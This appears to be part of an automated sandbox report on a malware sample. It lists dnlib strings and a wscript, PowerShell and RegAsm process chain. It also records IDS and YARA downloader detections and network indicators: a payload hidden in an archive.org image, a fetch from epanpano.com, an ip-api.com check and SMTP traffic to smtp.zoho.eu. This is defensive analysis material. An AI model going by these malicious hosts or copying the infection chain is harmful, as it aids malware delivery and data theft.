                      Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp

                      Software Vulnerabilities

                      barindex
                      Suspicious execution chain found
                      Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

                      Networking

                      barindex
                      Suricata IDS alerts for network traffic
                      Source: Network trafficSuricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 78.142.208.13:443 -> 192.168.2.8:49706
                      Source: Network trafficSuricata IDS: 2049038 - Severity 1 - ET MALWARE Malicious Base64 Encoded Payload In Image : 207.241.227.86:443 -> 192.168.2.8:49705
                      Yara detected Generic Downloader
                      Source: Yara matchFile source: 7.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, type: UNPACKEDPE
                      Source: global trafficTCP traffic: 192.168.2.8:49708 -> 185.230.212.164:587
                      Source: global trafficHTTP traffic detected: GET /10/items/deathnote_202407/deathnote.jpg HTTP/1.1Host: ia601606.us.archive.orgConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /log/ORGN.txt HTTP/1.1Host: epanpano.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
                      Source: Joe Sandbox ViewIP Address: 207.241.227.86 207.241.227.86
                      Source: Joe Sandbox ViewIP Address: 208.95.112.1 208.95.112.1
                      Source: Joe Sandbox ViewIP Address: 185.230.212.164 185.230.212.164
                      Source: Joe Sandbox ViewASN Name: INTERNET-ARCHIVEUS INTERNET-ARCHIVEUS
                      Source: Joe Sandbox ViewASN Name: TUT-ASUS TUT-ASUS
                      Source: Joe Sandbox ViewASN Name: COMPUTERLINEComputerlineSchlierbachSwitzerlandCH COMPUTERLINEComputerlineSchlierbachSwitzerlandCH
                      Source: Joe Sandbox ViewASN Name: VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLi VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLi
                      Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                      Source: unknownDNS query: name: ip-api.com
                      Source: global trafficTCP traffic: 192.168.2.8:49708 -> 185.230.212.164:587
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: global trafficHTTP traffic detected: GET /10/items/deathnote_202407/deathnote.jpg HTTP/1.1Host: ia601606.us.archive.orgConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /log/ORGN.txt HTTP/1.1Host: epanpano.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
                      Source: global trafficDNS traffic detected: DNS query: ia601606.us.archive.org
                      Source: global trafficDNS traffic detected: DNS query: epanpano.com
                      Source: global trafficDNS traffic detected: DNS query: ip-api.com
                      Source: global trafficDNS traffic detected: DNS query: smtp.zoho.eu
                      Source: RegAsm.exe, 00000007.00000002.2713398889.00000000060B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698971154.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0
                      Source: RegAsm.exe, 00000007.00000002.2713398889.00000000060B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698971154.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p
                      Source: powershell.exe, 00000004.00000002.1568396921.000001A8F14C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
                      Source: RegAsm.exe, 00000007.00000002.2712744340.0000000006020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8D9663000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://epanpano.com
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA747000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ia601606.us.archive.org
                      Source: RegAsm.exe, 00000007.00000002.2699963900.0000000002BF1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com
                      Source: powershell.exe, 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/line/?fields=hosting
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DAA19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                      Source: RegAsm.exe, 00000007.00000002.2712744340.0000000006020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0B
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA992000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                      Source: powershell.exe, 00000002.00000002.1590939976.0000020211D60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8D9111000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002BF1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://smtp.zoho.eu
                      Source: RegAsm.exe, 00000007.00000002.2713398889.00000000060B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698971154.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://status.thawte.com0:
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA992000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                      Source: RegAsm.exe, 00000007.00000002.2713398889.00000000060B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698971154.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
                      Source: powershell.exe, 00000004.00000002.1566950890.000001A8F12C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
                      Source: powershell.exe, 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://account.dyn.com/
